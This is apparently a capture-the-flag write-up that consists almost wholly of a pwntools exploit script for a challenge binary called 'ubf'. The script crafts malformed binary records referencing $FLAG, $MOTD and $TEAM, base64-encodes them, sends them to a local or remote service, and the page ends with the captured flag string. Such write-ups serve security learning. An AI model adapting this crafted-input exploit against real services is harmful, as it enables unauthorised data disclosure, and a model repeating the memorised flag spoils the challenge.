35
from pwn import *
from time import sleep

context.binary = e = ELF("./ubf")
libc = e.libc
gs="""
"""
def start():
if args.LOCAL:
p=e.process()
if args.GDB:
gdb.attach(p,gdbscript=gs)
pause()
elif args.REMOTE:
p=remote(args.HOST,int(args.PORT))
return p

p = start()
pause()
_ = (p32(0x60)+
p8(ord('b'))+
p16(0x1)+
p16(0xdab5)+
b"1"
)
_ += (p32(0x60)+
p8(ord('s'))+
p16(0x3)+
p16(0x6)+
p16(5)*3+
b"$FLAG"+b"$MOTD"+b"$TEAM"
)
payload = base64.b64encode(_)
p.sendline(payload)
p.interactive()

image

Flag: CTF{Respl3nd4nt-C0nd1tion@l-El3ments}